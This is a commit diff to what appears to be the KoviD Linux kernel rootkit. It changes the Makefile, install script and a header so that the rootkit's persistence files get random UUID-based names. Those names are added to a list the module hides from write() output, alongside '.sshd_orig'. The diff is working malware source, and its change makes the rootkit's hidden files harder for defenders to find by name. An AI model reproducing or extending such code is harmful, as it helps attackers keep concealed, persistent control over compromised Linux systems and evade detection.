Set persistence filenames from uuidgen output

Makefile

@@ -9,9 +9,12 @@ endif
 LD=$(shell which ld)
 AS=$(shell which as)
 CTAGS=$(shell which ctags))
+UUIDGEN := $(shell uuidgen)
+
 # PROCNAME, /proc/<name> interface. You must change it.
 COMPILER_OPTIONS := -Wall -DPROCNAME='"changeme"' \
-	-DMODNAME='"kovid"' -DKSOCKET_EMBEDDED ${DEBUG_PR} -DCPUHACK -DPRCTIMEOUT=1200
+	-DMODNAME='"kovid"' -DKSOCKET_EMBEDDED ${DEBUG_PR} -DCPUHACK -DPRCTIMEOUT=1200 \
+	-DUUIDGEN=\"$(UUIDGEN)\"
 
 EXTRA_CFLAGS := -I$(src)/src -I$(src)/fs ${COMPILER_OPTIONS}
 
@@ -30,6 +33,8 @@ all: persist
 	make  -C  /lib/modules/$(shell uname -r)/build M=$(PWD) modules
 
 persist:
+	sed -i "s|.lm.sh|${UUIDGEN}.sh|g" $(persist).S
+	sed -i "s|.kv.ko|${UUIDGEN}.ko|g" $(persist).S
 	$(AS) --64 $(persist).S -statistics -fatal-warnings \
 		-size-check=error -o $(persist).o
 	$(LD) -Ttext 200000 --oformat binary -o $(persist) $(persist).o

scripts/install.sh

@@ -2,9 +2,15 @@
 #
 # Install KoviD persistence
 # -hash
-
 set -eou pipefail
 
+# UUIDGEN must be passed as environment variable.
+# Check Makefile, persist.S
+#
+# Use:
+#   UUIDGEN=value ./install.sh
+UUIDGEN=$UUIDGEN
+
 PREFIX="/${0%/*}"
 PREFIX=${PREFIX:-.}
 PREFIX=${PREFIX#/}/
@@ -67,8 +73,8 @@ function do_install_files_error() {
 function do_install_files() {
     local rc=0
 
-    cp -v "$KOVID" "$INSTALL"/.kv.ko || rc=1
-    cp -v "$LOADER" "$INSTALL"/.lm.sh || rc=1
+    cp -v "$KOVID" "$INSTALL"/.$UUIDGEN.ko || rc=1
+    cp -v "$LOADER" "$INSTALL"/.$UUIDGEN.sh || rc=1
 
     return $rc
 }

src/lkm.h

@@ -169,8 +169,8 @@ unsigned long kv_get_elf_vm_start(pid_t);
  * Hide these names from write() fs output
  */
 static const char *kv_hide_str_on_load[] = {
-    ".kovid", "kovid", "kovid.ko", ".kv.ko",
-    ".lm.sh", ".sshd_orig", NULL
+    ".kovid", "kovid", "kovid.ko", UUIDGEN ".ko",
+    UUIDGEN ".sh", ".sshd_orig", NULL
 };
 
 enum {